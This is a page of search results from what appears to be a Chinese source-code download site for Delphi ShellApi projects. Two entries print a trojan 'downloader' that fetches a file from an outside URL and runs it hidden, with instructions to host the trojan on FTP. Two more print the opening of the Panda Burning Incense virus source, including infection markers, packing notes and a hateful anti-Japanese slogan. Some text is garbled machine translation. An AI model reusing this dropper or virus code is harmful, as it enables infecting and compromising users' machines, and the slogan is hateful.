Location:
Search - ShellApi delphi
Search list
Description: 执行后可以下载指定程序并执行
你先把大体积木马放到一固定FTP空间上
打开Delphi 打开down.dpr，看到了吧 改一下编译 ok 个人版下载者：）
用工具压一下，只有10K
这样说完是不行的，说一下代码：
program wsdgsRoad
uses
URLMon,
ShellApi
var
u,l: pchar
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean
begin
GetMem(u,100)
GetMem(l,100)
u:= http://www.jm-my.com/ip2.txt //改为你要下载的网址
l:= c:/downpage.txt //改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0
except
Result := False
end
end
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar( open ), PChar(l),
PChar( ), nil, 0)
end
//freemem(u)
//freemem(l)
end.
先试一下。。。。 ok,
明白了吗 再见-after implementation can be downloaded designated procedures and implement your first Mass Trojans into a fixed space on the open FTP D elphi open down.dpr seen it change your build ok individual downloads : ) tool, pressure that is only 10K finish this is not enough, saying that what code : program uses URLMon wsdgsRoad, ShellApi var u, l : pchar (. $ R *. res) function DownloadFile (Sour ceFile, DestFile : string) : Boolean begin GetMem (u, 100) GetMem (l, 100) u : = http : / / www.jm-my.com/ip2.txt / / read you want to download the website l : = c : / downpage.txt / / read your document storage and open the path to try Result : = UrlDownloadToFile (nil, PChar (u), PChar (l), 0, nil) = 0 except Result : = False end if end begin DownloadFile (u, l) then begin ShellExecute (0, PChar (open)
Platform: |
Size: 1436 |
Author: 韩冰 |
Hits:
Description: Delphi下使用Windows Shell API的几个控件-Delphi uses Windows Shell API several to control
Platform: |
Size: 210944 |
Author: 站长 |
Hits:
Description: 执行后可以下载指定程序并执行
你先把大体积木马放到一固定FTP空间上
打开Delphi 打开down.dpr，看到了吧 改一下编译 ok 个人版下载者：）
用工具压一下，只有10K
这样说完是不行的，说一下代码：
program wsdgsRoad
uses
URLMon,
ShellApi
var
u,l: pchar
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean
begin
GetMem(u,100)
GetMem(l,100)
u:= http://www.jm-my.com/ip2.txt //改为你要下载的网址
l:= c:/downpage.txt //改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0
except
Result := False
end
end
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar( open ), PChar(l),
PChar( ), nil, 0)
end
//freemem(u)
//freemem(l)
end.
先试一下。。。。 ok,
明白了吗 再见-after implementation can be downloaded designated procedures and implement your first Mass Trojans into a fixed space on the open FTP D elphi open down.dpr seen it change your build ok individual downloads : ) tool, pressure that is only 10K finish this is not enough, saying that what code : program uses URLMon wsdgsRoad, ShellApi var u, l : pchar (. $ R*. res) function DownloadFile (Sour ceFile, DestFile : string) : Boolean begin GetMem (u, 100) GetMem (l, 100) u : = http :// www.jm-my.com/ip2.txt// read you want to download the website l : = c :/downpage.txt// read your document storage and open the path to try Result : = UrlDownloadToFile (nil, PChar (u), PChar (l), 0, nil) = 0 except Result : = False end if end begin DownloadFile (u, l) then begin ShellExecute (0, PChar (open)
Platform: |
Size: 1024 |
Author: 韩冰 |
Hits:
Description: 一个系统托盘的简单例程，还是不错的-A simple routine system tray, or good
Platform: |
Size: 7168 |
Author: 范煜 |
Hits:
Description: 本例程是利用Windows API函数Shell_NotifyIcon()实现系统托盘图标功能,这个函数和其他处理Windows外壳的函数都包含在ShellAPI单元中
在窗口创建时在Windows任务栏的右下角创建一个托盘图标,图标由两个ICON交替出现,当窗口最小化时任务栏中只有托盘图标,当左键单击托盘图标窗口恢复,图标停止交替.-This routine is to use Windows API function Shell_NotifyIcon () function to achieve the system tray icon, this function and other functions to deal with Windows shell ShellAPI units are included in the window created in the Windows task bar at the bottom right corner to create a tray icon , ICON icon alternately by the two, when the window minimized only when the taskbar tray icon, when left-click tray icon to restore the window, the icon to stop the turn.
Platform: |
Size: 10240 |
Author: SeaHe |
Hits:
Description: Delphi利用ShellApi输入CMD，打开CMD计算器，游戏，工具等命令。-The Delphi to use ShellApi type CMD, and open CMD calculator, games, tools and other command.
Platform: |
Size: 7168 |
Author: 黄大仙 |
Hits:
Description:
熊猫烧香原代码
熊猫烧香, 十六进制, Windows, 源代码, 字符串
熊猫烧香源代码
program Japussy
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}
const
HeaderSize = 82432 //病毒体的大小
IconOffset = EB8 //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912 //Upx压缩过病毒体的大小
IconOffset = BC //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8 //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize //PE文件主图标的尾部
ID = 444444 //感染标记
//垃圾码，以备写入
Catchword = If a race need to be killed out, it must be Yamato. +
If a country need to be destroyed, it must be Japan! +
***
{$R *.RES}
function : Integer): Integer-Panda original code Panda burning incense, hexadecimal, Windows source code, string the panda source code program Japussy uses Windows, the SysUtils the Classes, Graphics, ShellAPI {, Registry} const HeaderSize = 82 432 // virions the the size of IconOffset = EB8 // PE file main icon offset// in the above compile my Delphi5 SP1 size, other versions of Delphi may be different// Find 2800000020 hexadecimal string can be found in the main icon the offset {HeaderSize = 38912 // Upx compression over the the virus body size IconOffset = BC // Upx compressed PE file offset of the main icons the// Upx 1.24W Usage: upx-9- 8086 Japussy. exe} IconSize = E8 // PE file main icon size the- 744 the byte IconTail = IconOffset+ IconSize // tail of the PE file main icon ID = 444 444 // infection markers// junk yard to prepare written Catchword = ' If a race need to be killed out, it must be Yamato.' +' If a country need to be destroyed, it must be Japan! ' +' *** {$ R*. RES} function:
Platform: |
Size: 4096 |
Author: 炎热 |
Hits:
Description: 最早熊猫烧香源代码 仅供学习参考 部分样本
一下
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +(Microsoft Developer Studio Workspace File, Format Version 6.00)
Platform: |
Size: 4096 |
Author: 那山小黑 |
Hits: